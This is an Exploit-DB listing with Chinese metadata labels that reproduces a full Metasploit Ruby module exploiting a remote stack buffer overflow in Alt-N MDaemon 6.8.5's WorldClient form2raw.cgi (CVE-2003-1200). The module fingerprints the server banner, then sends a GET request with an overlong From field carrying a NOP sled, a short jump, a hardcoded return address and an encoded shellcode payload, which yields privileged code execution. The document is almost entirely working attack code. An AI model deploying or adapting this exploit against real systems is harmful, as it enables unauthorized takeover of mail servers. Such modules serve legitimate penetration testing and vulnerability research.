标题: Alt-N MDaemon 6.8.5 - WorldClient 'form2raw.cgi' Remote Stack Buffer Overflow (Metasploit) EDB-ID: 16812 CVE: 2003-1200 类型: REMOTE 平台: WINDOWS 发布日期: 2010-07-01 漏洞利用脚本: ##
# $Id: mdaemon_worldclient_form2raw.rb 9653 2010-07-01 23:33:07Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
 Rank = GreatRanking

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'  => 'MDaemon <= 6.8.5 WorldClient form2raw.cgi Stack Buffer Overflow',
   'Description' => %q{
   This module exploits a stack buffer overflow in Alt-N MDaemon SMTP server for
   versions 6.8.5 and earlier. When WorldClient HTTP server is installed (default),
   a CGI script is provided to accept html FORM based emails and deliver via MDaemon.exe,
   by writing the CGI output to the Raw Queue. When X-FromCheck is enabled (also default),
   the temporary form2raw.cgi data is copied by MDaemon.exe and a stack based
   overflow occurs when an excessively long From field is specified.
   The RawQueue is processed every 1 minute by default, to a maximum of 60 minutes.
   Keep this in mind when choosing payloads or setting WfsDelay... You'll need to wait.

   Furthermore, this exploit uses a direct memory jump into a nopsled (which isn't very
   reliable). Once the payload is written into the Raw Queue by Form2Raw, MDaemon will
   continue to crash/execute the payload until the CGI output is manually deleted
   from the queue in C:\MDaemon\RawFiles\*.raw.
   },
   'Author'  => [ 'patrick' ],
   'Arch'  => [ ARCH_X86 ],
   'License'       => MSF_LICENSE,
   'Version'       => '$Revision: 9653 $',
   'References'    =>
   [
    [ 'CVE', '2003-1200' ],
    [ 'OSVDB', '3255' ],
    [ 'BID', '9317' ],
   ],
   'Privileged'  => true,
   'DefaultOptions' =>
   {
    'EXITFUNC' => 'thread',
   },
   'Payload'  =>
    {
     'Space'   => 900,
     'BadChars'   => "\x00\x0a\x0d%\x20@<>&?|,;=`()${}\#!~\"\xff\/\\",
     'StackAdjustment'  => -3500,
    },
   'Platform' => ['win'],
   'Targets'  =>
   [
    # Patrickw - Tested OK-ish 20090702 w2k
    [ 'Universal MDaemon.exe',  { 'Ret' => 0x022fcd46 } ], # direct memory jump :(
    [ 'Debugging test',  { 'Ret' => 0x44434241 } ],
   ],
   'DisclosureDate' => 'Dec 29 2003',
   'DefaultTarget' => 0))

   register_options(
   [
    Opt::RPORT(3000),
   ],self.class)
 end

 def check
  connect
  sock.put("GET / HTTP/1.0\r\n\r\n")
  banner = sock.get(-1,3)
  disconnect

  if (banner =~ /WDaemon\/6\.8\.[0-5]/)
   return Exploit::CheckCode::Vulnerable
  end
   return Exploit::CheckCode::Safe
 end

 def exploit
  connect

  sploit = "GET /form2raw.cgi?From=" # Trigger vuln
  sploit << "\x90" * 242 # We set EIP to the middle of this.
  sploit << Rex::Arch::X86.jmp_short(61) # Then jump over some junk memory.. 60 is precise but is a badchar.
  sploit << [target['Ret']].pack('V') + "c" # Return address, plus 1 byte overwrite for ESP... 'c'
  sploit << "&To=#{Rex::Text.rand_text_alpha(12)}@#{Rex::Text.rand_text_alpha(12)}.#{Rex::Text.rand_text_alpha(3)}"
  sploit << "&Body=" + "\x90" * 1 # 1 Byte for short jump.
  sploit << payload.encoded + " HTTP/1.0"

  sock.put(sploit + "\r\n\r\n")
  res = sock.get(3,3)

  if (res =~ /Message spooled but will be deleted if not FROM a valid account/)
   print_status("Payload accepted by WorldClient Form2Raw CGI!")
   print_status("Wait for the Raw Queue to be processed (1 to 60 minutes).")
  else
   print_status("Message not accepted. Vulnerable target?")
  end

  handler
  disconnect
 end
end URL: https://www.exploit-db.com/exploits/16812